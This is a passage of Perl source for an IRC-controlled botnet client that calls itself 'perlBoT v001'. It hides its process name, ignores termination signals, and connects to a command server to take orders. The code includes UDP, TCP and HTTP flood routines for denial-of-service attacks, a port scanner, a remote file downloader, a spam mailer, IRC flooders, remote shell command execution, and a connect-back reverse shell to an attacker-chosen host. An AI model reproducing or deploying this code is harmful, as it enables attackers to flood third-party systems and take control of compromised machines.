"rikuxr","rita","rix","rob","roku","ronaldo","ronwrl","roticanai","rugiada","ruthless", | |
"saalut","sammi","sand","satanins","schzsh","scorpin","sealink","sean","secret","serpentor", | |
"servant","sethi","sexbolek","sexyman","sharmm","shearer","shekel","shio","shortys","shred", | |
"sidewalk","sil","siren","skar","skill","skru","sky","skygun","skylink","slaktarn", | |
"slash","slgon","smarties","smck","snake","snike","snoopgirl","sodoma","sopocani","sorceress", | |
"spacebbl","spacedump","spanker","spermboy","spirtouli","srk","stazzz","steve","stinga","stj", | |
"stjf","studenica","stussy","suez","suhoj","sukun","sunsola","surfer","sutera","svearike", | |
"sweetii","sweetlady","sweklopi","swepilot","switch","syncphos","szern","takumura","tallaxlc","tampone", | |
"tarabas","tatano","tato","tennis","tenx","terence","terkukur","tero","thefox","thesint", | |
"timer","timewalk","tmhd","tnxfck","to","tomihki","tommy","topo","triumph","trustme", | |
"tungau","tupac","turbozzzz","turing","tvrdjava","tysn","unicron","uoff","uptimer","utopia", | |
"vader","vaismi","vajje","vanda","varjo","vass","vento","venusguy","vertie","viagara", | |
"vicious","vidxxx","virex","vodafone","vone","vrgnie","vuubeibe","wanderer","warrr","wasabboy", | |
"weebee","wellu","wendy","whiskey","willgood","wing","winny","wknight","wlly","wolfman", | |
"wow","wp","xarasou","xtreme","xxx","xzone","yakzr","yang","yashy","yasin", | |
"yenyen","ykbug","yogiebear","zai","zfstr","zinj","zizu","zvezda","zwimou","zwisou", | |
"zwsiew","zwsiewale"); | |
my $ircname = $rircname[rand scalar @rircname]; | |
## my @rrealname = ("4,1[ unknown ]", | |
## "4,1 /!\ unknown /!\ ", | |
## "2,1---=== 4,1 unknown 2,1===---"); | |
## chop (my $realname = $rrealname[rand scalar @rrealname]); | |
chop (my $realname = `uname -sr`); | |
my $nick =$rircname[rand scalar @rircname]; | |
$server = 'us.bot.nu' unless $server; | |
my $port = '5190'; | |
my $linas_max='8'; | |
my $sleep='5'; | |
my $homedir = "/var/tmp"; | |
my $version = 'perlBoT v001'; | |
my @admins = ("X","root"); | |
my @hostauth = ("1.1.1.1"); | |
my @channels = ("#bash"); | |
my $pacotes = 1; | |
################################################################# | |
##### [ Stop Editing if you dont know what are you doing. ] ##### | |
################################################################# | |
$SIG{'INT'} = 'IGNORE'; | |
$SIG{'HUP'} = 'IGNORE'; | |
$SIG{'TERM'} = 'IGNORE'; | |
$SIG{'CHLD'} = 'IGNORE'; | |
$SIG{'PS'} = 'IGNORE'; | |
use Socket; | |
use IO::Socket; | |
use IO::Socket::INET; | |
use IO::Select; | |
chdir("$homedir"); | |
$server="$ARGV[0]" if $ARGV[0]; | |
$0="$process"."\0"x16;; | |
my $pid=fork; | |
exit if $pid; | |
die "Can't fork in background: $!" unless defined($pid); | |
our %irc_servers; | |
our %DCC; | |
my $dcc_sel = new IO::Select->new(); | |
$sel_cliente = IO::Select->new(); | |
sub sendraw { | |
if ($#_ == '1') { | |
my $socket = $_[0]; | |
print $socket "$_[1]\n"; | |
} else { | |
print $IRC_cur_socket "$_[0]\n"; | |
} | |
} | |
sub getstore ($$) | |
{ | |
my $url = shift; | |
my $file = shift; | |
$http_stream_out = 1; | |
open(GET_OUTFILE, "> $file"); | |
%http_loop_check = (); | |
_get($url); | |
close GET_OUTFILE; | |
return $main::http_get_result; | |
} | |
sub _get | |
{ | |
my $url = shift; | |
my $proxy = ""; | |
grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV; | |
if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) { | |
my $host = $1; | |
my $port = $2 || 80; | |
my $path = $3; | |
$path = "/" unless defined($path); | |
return _trivial_http_get($host, $port, $path); | |
} elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) { | |
my $host = $1; | |
my $port = $2; | |
my $path = $url; | |
return _trivial_http_get($host, $port, $path); | |
} else { | |
return undef; | |
} | |
} | |
sub _trivial_http_get | |
{ | |
my($host, $port, $path) = @_; | |
my($AGENT, $VERSION, $p); | |
$AGENT = "get-minimal"; | |
$VERSION = "20000118"; | |
$path =~ s/ /%20/g; | |
require IO::Socket; | |
local($^W) = 0; | |
my $sock = IO::Socket::INET->new(PeerAddr => $host, | |
PeerPort => $port, | |
Proto => 'tcp', | |
Timeout => 60) || return; | |
$sock->autoflush; | |
my $netloc = $host; | |
$netloc .= ":$port" if $port != 80; | |
my $request = "GET $path HTTP/1.0\015\012" | |
. "Host: $netloc\015\012" | |
. "User-Agent: $AGENT/$VERSION/u\015\012"; | |
$request .= "Pragma: no-cache\015\012" if ($main::http_no_cache); | |
$request .= "\015\012"; | |
print $sock $request; | |
my $buf = ""; | |
my $n; | |
my $b1 = ""; | |
while ($n = sysread($sock, $buf, 8*1024, length($buf))) { | |
if ($b1 eq "") { | |
$b1 = $buf; | |
$buf =~ s/.+?\015?\012\015?\012//s; | |
} | |
if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; } | |
} | |
return undef unless defined($n); | |
$main::http_get_result = 200; | |
if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) { | |
$main::http_get_result = $1; | |
if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/) { | |
my $url = $1; | |
return undef if $http_loop_check{$url}++; | |
return _get($url); | |
} | |
return undef unless $main::http_get_result =~ /^2/; | |
} | |
return $buf; | |
} | |
sub conectar { | |
my $meunick = $_[0]; | |
my $server_con = $_[1]; | |
my $port_con = $_[2]; | |
my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$server_con", | |
PeerPort=>$port_con) or return(1); | |
if (defined($IRC_socket)) { | |
$IRC_cur_socket = $IRC_socket; | |
$IRC_socket->autoflush(1); | |
$sel_cliente->add($IRC_socket); | |
$irc_servers{$IRC_cur_socket}{'host'} = "$server_con"; | |
$irc_servers{$IRC_cur_socket}{'port'} = "$port_con"; | |
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick; | |
$irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost; | |
nick("$meunick"); | |
sendraw("USER $ircname ".$IRC_socket->sockhost." $server_con :$realname"); | |
sleep 1; | |
} | |
} | |
my $line_temp; | |
while( 1 ) { | |
while (!(keys(%irc_servers))) { conectar("$nick", "$server", "$port"); } | |
delete($irc_servers{''}) if (defined($irc_servers{''})); | |
my @ready = $sel_cliente->can_read(0); | |
next unless(@ready); | |
foreach $fh (@ready) { | |
$IRC_cur_socket = $fh; | |
$meunick = $irc_servers{$IRC_cur_socket}{'nick'}; | |
$nread = sysread($fh, $msg, 4096); | |
if ($nread == 0) { | |
$sel_cliente->remove($fh); | |
$fh->close; | |
delete($irc_servers{$fh}); | |
} | |
@lines = split (/\n/, $msg); | |
for(my $c=0; $c<= $#lines; $c++) { | |
$line = $lines[$c]; | |
$line=$line_temp.$line if ($line_temp); | |
$line_temp=''; | |
$line =~ s/\r$//; | |
unless ($c == $#lines) { | |
parse("$line"); | |
} else { | |
if ($#lines == 0) { | |
parse("$line"); | |
} elsif ($lines[$c] =~ /\r$/) { | |
parse("$line"); | |
} elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { | |
parse("$line"); | |
} else { | |
$line_temp = $line; | |
} | |
} | |
} | |
} | |
} | |
sub parse { | |
my $servarg = shift; | |
if ($servarg =~ /^PING \:(.*)/) { | |
sendraw("PONG :$1"); | |
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { | |
my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5; | |
if ($args =~ /^\001VERSION\001$/) { | |
notice("$pn", "".$vers.""); | |
} | |
if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) { | |
if (grep {$_ =~ /^\Q$pn\E$/i } @admins ) { | |
if ($onde eq "$meunick"){ | |
shell("$pn", "$args"); | |
} | |
if ($args =~ /^(\Q$meunick\E|\!x)\s+(.*)/ ) { | |
my $natrix = $1; | |
my $arg = $2; | |
if ($arg =~ /^\!(.*)/) { | |
ircase("$pn","$onde","$1"); | |
} elsif ($arg =~ /^\@(.*)/) { | |
$ondep = $onde; | |
$ondep = $pn if $onde eq $meunick; | |
bfunc("$ondep","$1"); | |
} else { | |
shell("$onde", "$arg"); | |
} | |
} | |
} | |
} | |
} | |
elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) { | |
if (lc($1) eq lc($meunick)) { | |
$meunick=$4; | |
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick; | |
} | |
} elsif ($servarg =~ m/^\:(.+?)\s+433/i) { | |
nick("$meunick-".int rand(9999)); | |
} elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) { | |
$meunick = $2; | |
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick; | |
$irc_servers{$IRC_cur_socket}{'nome'} = "$1"; | |
foreach my $canal (@channels) { | |
sendraw("MODE $nick +x"); | |
sendraw("JOIN $canal"); | |
} | |
} | |
} | |
sub bfunc { | |
my $printl = $_[0]; | |
my $funcarg = $_[1]; | |
if (my $pid = fork) { | |
waitpid($pid, 0); | |
} else { | |
if (fork) { | |
exit; | |
} else { | |
########################### | |
##### [ Help Module ] ##### | |
########################### | |
if ($funcarg =~ /^help/) { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================="); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1ps PerlBot Main Help:"); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================="); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1system "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1version "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1channel "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1flood "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1utils "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================="); | |
} | |
if ($funcarg =~ /^system/) { | |
$uptime=`uptime`; | |
$ownd=`pwd`; | |
$id=`id`; | |
$uname=`uname -srp`; | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1============================"); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1 ps Bot Configuration: "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1============================"); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Server : 12$server "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Port : 12$port "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Channels : 12@channels "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*uname -a : 12$uname "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*uptime : 12$uptime "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*FakeProcess : 12$process "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*ProcessPID : 12$$ "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*ID : 12$id "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Own Dir : 12$ownd "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1============================"); | |
} | |
if ($funcarg =~ /^version/){ | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1=================================="); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1 ps Bot Informations: "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1=================================="); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Version : 12$version "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Creator : 12CrAmEr "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Year : 122012 "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1=================================="); | |
} | |
if ($funcarg =~ /^flood/) { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1============================================="); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1 ps PerlBot Flood Help: "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1============================================="); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1udp1 <ip> <port> <time> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1udp2 <ip> <packet size> <time> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1udp3 <ip> <port> <time> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1tcp <ip> <port> <pack size> <time>"); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1http <site> <time> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1ctcpflood <nick> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1msgflood <nick> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1noticeflood <nick> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1============================================="); | |
} | |
if ($funcarg =~ /^channel/) { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1===================================="); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1 ps PerlBot Channel Help: "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1===================================="); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1join <channel> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1part <channel> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12!9,1rejoin <channel> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12!9,1op <channel> <nick> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12!9,1deop <channel> <nick> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12!9,1voice <channel> <nick> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12!9,1devoice <channel> <nick> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12!9,1nick <newnick> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12!9,1msg <nick> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12!9,1quit "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12!9,1die "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1===================================="); | |
} | |
if ($funcarg =~ /^utils/) { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================================================="); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1 ps PerlBot Utils Help: "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================================================="); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1cback <ip> <port> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1download <url+path> <file> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1mail <subject> <sender> <recipient> <message> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1dns <ip> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1port <ip> <port> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1portscan <ip> "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!x pwd (for example) "); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================================================="); | |
} | |
######################### | |
##### [ Functions ] ##### | |
######################### | |
if ($funcarg =~ /^die/) { | |
sendraw($IRC_cur_socket, "QUIT :"); | |
$killd = "kill -9 ".fork; | |
system (`$killd`); | |
} | |
########### | |
if ($funcarg =~ /^join (.*)/) { | |
sendraw($IRC_cur_socket, "JOIN ".$1); | |
} | |
if ($funcarg =~ /^part (.*)/) { | |
sendraw($IRC_cur_socket, "PART ".$1); | |
} | |
########### | |
if ($funcarg =~ /^portscan (.*)/) { | |
my $hostip="$1"; | |
my @portas=("1","7","9","14","20","21","22","23","25","53","80","88","110","112","113","137","143","145","222","333","405","443","444","445","512","587","616","666","993","995","1024","1025","1080","1144","1156","1222","1230","1337","1348","1628","1641","1720","1723","1763","1983","1984","1985","1987","1988","1990","1994","2005","2020","2121","2200","2222","2223","2345","2360","2500","2727","3130","3128","3137","3129","3303","3306","3333","3389","4000","4001","4471","4877","5252","5522","5553","5554","5642","5777","5800","5801","5900","5901","6062","6550","6522","6600","6622","6662","6665","6666","6667","6969","7000","7979","8008","8080","8081","8082","8181","8246","8443","8520","8787","8855","8880","8989","9855","9865","9997","9999","10000","10001","10010","10222","11170","11306","11444","12241","12312","14534","14568","15951","17272","19635","19906","19900","20000","21412","21443","21205","22022","30999","31336","31337","32768","33180","35651","36666","37998","41114","41215","44544","45055","45555","45678","51114","51247","51234","55066","55555","65114","65156","65120","65410","65500","65501","65523","65533"); | |
my (@aberta, %porta_banner); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Port Scan] 9,1Scanning for open ports on 12".$1." 9,1started. "); | |
foreach my $porta (@portas) { | |
my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4); | |
if ($scansock) { | |
push (@aberta, $porta); | |
$scansock->close; | |
} | |
} | |
if (@aberta) { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Port Scan] 9,1Open ports found: 12@aberta "); | |
} else { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Port Scan] 9,1No open ports found. "); | |
} | |
} | |
############## | |
if ($funcarg =~ /^download\s+(.*)\s+(.*)/) { | |
getstore("$1", "$2"); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Download] 9,1Downloaded the file: 12$2 9,1from 12$1 "); | |
} | |
############## | |
if ($funcarg =~ /^dns\s+(.*)/){ | |
my $nsku = $1; | |
$mydns = inet_ntoa(inet_aton($nsku)); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [DNS] 9,1Resolved: 12$nsku 9,1to 12$mydns "); | |
} | |
############## | |
if ($funcarg=~ /^port\s+(.*?)\s+(.*)/ ) { | |
my $hostip= "$1"; | |
my $portsc= "$2"; | |
my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $portsc, Proto =>'tcp', Timeout => 7); | |
if ($scansock) { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PORT] 9,1Connection to 12$hostip9,1:12$portsc 9,1is 12Accepted. "); | |
} | |
else { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PORT] 9,1Connection to 12$hostip9,1:12$portsc 9,1is 4Refused. "); | |
} | |
} | |
############## | |
if ($funcarg =~ /^udp1\s+(.*)\s+(\d+)\s+(\d+)/) { | |
return unless $pacotes; | |
socket(Tr0x, PF_INET, SOCK_DGRAM, 17); | |
my $alvo=inet_aton("$1"); | |
my $porta = "$2"; | |
my $dtime = "$3"; | |
my $pacote; | |
my $pacotese; | |
my $size = 0; | |
my $fim = time + $dtime; | |
my $pacota = 1; | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-1 FlooD] 9,1Attacking 12".$1." 9,1On Port 12".$porta." 9,1for 12".$dtime." 9,1seconds. "); | |
while (($pacota == "1") && ($pacotes == "1")) { | |
$pacota = 0 if ((time >= $fim) && ($dtime != "0")); | |
$pacote = $size ? $size : int(rand(1024-64)+64) ; | |
$porta = int(rand 65000) +1 if ($porta == "0"); | |
#send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)); | |
send(Tr0x, pack("a$pacote","Tr0x"), 0, pack_sockaddr_in($porta, $alvo)); | |
} | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-1 FlooD] 9,1Attack for 12".$1." 9,1finished in 12".$dtime." 9,1seconds9,1. "); | |
} | |
############## | |
if ($funcarg =~ /^udp2\s+(.*)\s+(\d+)\s+(\d+)/) { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-2 FlooD] 9,1Attacking 12".$1." 9,1with 12".$2." 9,1Kb Packets for 12".$3." 9,1seconds. "); | |
my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3"); | |
$dtime = 1 if $dtime == 0; | |
my %bytes; | |
$bytes{igmp} = $2 * $pacotes{igmp}; | |
$bytes{icmp} = $2 * $pacotes{icmp}; | |
$bytes{o} = $2 * $pacotes{o}; | |
$bytes{udp} = $2 * $pacotes{udp}; | |
$bytes{tcp} = $2 * $pacotes{tcp}; | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-2 FlooD] 9,1Results 12".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 9,1Kb in 12".$dtime." 9,1seconds to 12".$1."9,1. "); | |
} | |
############## | |
if ($funcarg =~ /^udp3\s+(.*)\s+(\d+)\s+(\d+)/) { | |
return unless $pacotes; | |
socket(Tr0x, PF_INET, SOCK_DGRAM, 17); | |
my $alvo=inet_aton("$1"); | |
my $porta = "$2"; | |
my $dtime = "$3"; | |
my $pacote; | |
my $pacotese; | |
my $fim = time + $dtime; | |
my $pacota = 1; | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-3 FlooD] 9,1Attacking 12".$1." 9,1On Port 12".$porta." 9,1for 12".$dtime." 9,1seconds. "); | |
while (($pacota == "1") && ($pacotes == "1")) { | |
$pacota = 0 if ((time >= $fim) && ($dtime != "0")); | |
$pacote= $rand x $rand x $rand; | |
$porta = int(rand 65000) +1 if ($porta == "0"); | |
send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1"); | |
} | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-3 FlooD] 9,1Results 12".$pacotese." 9,1Kb in 12".$dtime." 9,1seconds to 12".$1."9,1. "); | |
} | |
############## | |
############## | |
if ($funcarg =~ /^tcp\s+(.*)\s+(\d+)\s+(\d+)/) { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [TCP FlooD] 9,1Attacking 12".$1.":".$2." 9,1for 12".$3." 9,1seconds. "); | |
my $itime = time; | |
my ($cur_time); | |
$cur_time = time - $itime; | |
while ($3>$cur_time){ | |
$cur_time = time - $itime; | |
&tcpflooder("$1","$2","$3"); | |
} | |
sendraw($IRC_cur_socket,"PRIVMSG $printl :4,1 [TCP FlooD] 9,1Attack ended on: 12".$1.":".$2."9,1. "); | |
} | |
############## | |
if ($funcarg =~ /^http\s+(.*)\s+(\d+)/) { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[HTTP FlooD] 9,1Attacking 12".$1." 9,1on port 80 for 12".$2." 9,1seconds. "); | |
my $itime = time; | |
my ($cur_time); | |
$cur_time = time - $itime; | |
while ($2>$cur_time){ | |
$cur_time = time - $itime; | |
my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80); | |
print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n"; | |
close($socket); | |
} | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [HTTP FlooD] 9,1Attacking ended on: 12".$1."9,1. "); | |
} | |
############## | |
if ($funcarg =~ /^cback\s+(.*)\s+(\d+)/) { | |
my $host = "$1"; | |
my $port = "$2"; | |
my $proto = getprotobyname('tcp'); | |
my $iaddr = inet_aton($host); | |
my $paddr = sockaddr_in($port, $iaddr); | |
my $shell = "/bin/sh -i"; | |
if ($^O eq "MSWin32") { | |
$shell = "cmd.exe"; | |
} | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Connect Back] 9,1Connecting to 12$host:$port "); | |
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!"; | |
connect(SOCKET, $paddr) or die "connect: $!"; | |
open(STDIN, ">&SOCKET"); | |
open(STDOUT, ">&SOCKET"); | |
open(STDERR, ">&SOCKET"); | |
system("$shell"); | |
close(STDIN); | |
close(STDOUT); | |
close(STDERR); | |
} | |
############## | |
if ($funcarg =~ /^mail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) { | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Mailer] 9,1Sending email to: 12$3 "); | |
$subject = $1; | |
$sender = $2; | |
$recipient = $3; | |
@corpo = $4; | |
$mailtype = "content-type: text/html"; | |
$sendmail = '/usr/sbin/sendmail'; | |
open (SENDMAIL, "| $sendmail -t"); | |
print SENDMAIL "$mailtype\n"; | |
print SENDMAIL "Subject: $subject\n"; | |
print SENDMAIL "From: $sender\n"; | |
print SENDMAIL "To: $recipient\n\n"; | |
print SENDMAIL "@corpo\n\n"; | |
close (SENDMAIL); | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Mailer] 9,1Email Sended to: 12$recipient "); | |
} | |
exit; | |
} | |
} | |
############## | |
if ($funcarg =~ /^ctcpflood (.*)/) { | |
my $target = "$1"; | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [IRCFlood] 9,1CTCP Flooding: 12".$target." "); | |
for (1..10) { | |
sendraw($IRC_cur_socket, "PRIVMSG ".$target." :\001VERSION\001\n"); | |
sendraw($IRC_cur_socket, "PRIVMSG ".$target." :\001PING\001\n"); | |
} | |
} | |
############## | |
if ($funcarg =~ /^msgflood (.*)/) { | |
my $target = "$1"; | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [IRC Flood] 9,1MSG Flooding: 12".$target." "); | |
sendraw($IRC_cur_socket, "PRIVMSG ".$target." :0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8..."); | |
} | |
############## | |
if ($funcarg =~ /^noticeflood (.*)/) { | |
my $target = "$1"; | |
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [IRC Flood] 9,1NOTICE Flooding: 12".$target." "); | |
for (1..2){ | |
sendraw($IRC_cur_socket, "NOTICE ".$target." :0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8..."); | |
} | |
} | |
############## | |
############## | |
sub ircase { | |
my ($kem, $printl, $case) = @_; | |
if ($case =~ /^join (.*)/) { | |
j("$1"); | |
} | |
elsif ($case =~ /^part (.*)/) { | |
p("$1"); | |
} | |
elsif ($case =~ /^rejoin\s+(.*)/) { | |
my $chan = $1; | |
if ($chan =~ /^(\d+) (.*)/) { | |
for (my $ca = 1; $ca <= $1; $ca++ ) { | |
p("$2"); | |
j("$2"); | |
} | |
} else { | |
p("$chan"); | |
j("$chan"); | |
} | |
} | |
elsif ($case =~ /^op/) { | |
op("$printl", "$kem") if $case eq "op"; | |
my $oarg = substr($case, 3); | |
op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); | |
} | |
elsif ($case =~ /^deop/) { | |
deop("$printl", "$kem") if $case eq "deop"; | |
my $oarg = substr($case, 5); | |
deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); | |
} | |
elsif ($case =~ /^voice/) { | |
voice("$printl", "$kem") if $case eq "voice"; | |
$oarg = substr($case, 6); | |
voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); | |
} | |
elsif ($case =~ /^devoice/) { | |
devoice("$printl", "$kem") if $case eq "devoice"; | |
$oarg = substr($case, 8); | |
devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); | |
} | |
elsif ($case =~ /^msg\s+(\S+) (.*)/) { | |
msg("$1", "$2"); | |
} | |
elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) { | |
for (my $cf = 1; $cf <= $1; $cf++) { | |
msg("$2", "$3"); | |
} | |
} | |
